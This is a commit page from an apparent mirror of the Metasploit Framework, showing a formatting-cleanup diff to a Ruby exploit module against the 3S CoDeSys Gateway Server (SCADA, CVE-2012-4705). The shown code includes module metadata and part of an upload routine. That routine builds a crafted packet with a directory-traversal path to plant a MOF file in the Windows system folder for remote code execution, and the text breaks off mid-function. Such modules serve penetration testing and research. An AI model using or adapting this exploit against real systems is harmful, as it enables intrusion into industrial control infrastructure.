infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Format cleanup

bug/bundler_fix
sinn3r 2013-03-06 16:31:39 -06:00
parent 7219c7b4aa
commit 16d7b625bc
1 changed files with 28 additions and 26 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

54
modules/exploits/windows/scada/codesys_gateway_server_remote_execution.rb
View File

@ -4,10 +4,12 @@
# web site for more information on licensing and terms of use.
# http://metasploit.com
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Tcp
@ -15,27 +17,28 @@ class Metasploit3 < Msf::Exploit::Remote
def initialize(info = {})
super(update_info(info,
'Name' => 'SCADA 3S CoDeSys Gateway Server Remote Execution',
'Description' => %q{
This module exploits arbitrary file creation to execute a mof file
gaining remote execution within the SCADA system
},
'Author' =>
[
'Enrique Sanchez <esanchez@accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['ICSA-13-050-01', '02-19-2013']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
'Name' => 'SCADA 3S CoDeSys Gateway Server Directory Traversal',
'Description' => %q{
This module exploits arbitrary file creation to execute a mof file
gaining remote execution within the SCADA system
},
'Author' =>
[
'Enrique Sanchez <esanchez[at]accuvant.com>'
],
'License' => 'MSF_LICENSE',
'References' =>
[
['CVE', '2012-4705'],
['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-050-01-a.pdf']
],
'DisclosureDate' => 'Feb 02 2013',
'Platform' => 'win',
'Targets' =>
[
['Windows Universal S3 CoDeSyS < 2.3.9.27', { }]
],
'DefaultTarget' => 0))
register_options(
[
@ -53,16 +56,15 @@ class Metasploit3 < Msf::Exploit::Remote
# remote_filepath: Remote filepath where the file will be uploaded
# remote_filename: Remote name of the file to be executed ie. boot.ini
# local_file: File containing the read data for the local file to be uploaded, actual open/read/close done in exploit()
def upload_file(remote_filepath, remote_filename, local_filedata = null)
magic_code = "\xdd\xdd"
opcode = [6].pack('L')
# We create the filepath for the upload, for execution it should be \windows\system32\wbem\mof\<file with extension mof!
file = "..\\..\\" << remote_filepath << remote_filename << "\x00"
print_debug("File to upload: #{file}")
#print_debug("File to upload: #{file}")
pkt_size = local_filedata.size() + file.size() + (0x108 - file.size()) + 4
print_debug(pkt_size)
#print_debug(pkt_size)
# Magic_code + packing + size
pkt = magic_code << "AAAAAAAAAAAA" << [pkt_size].pack('L')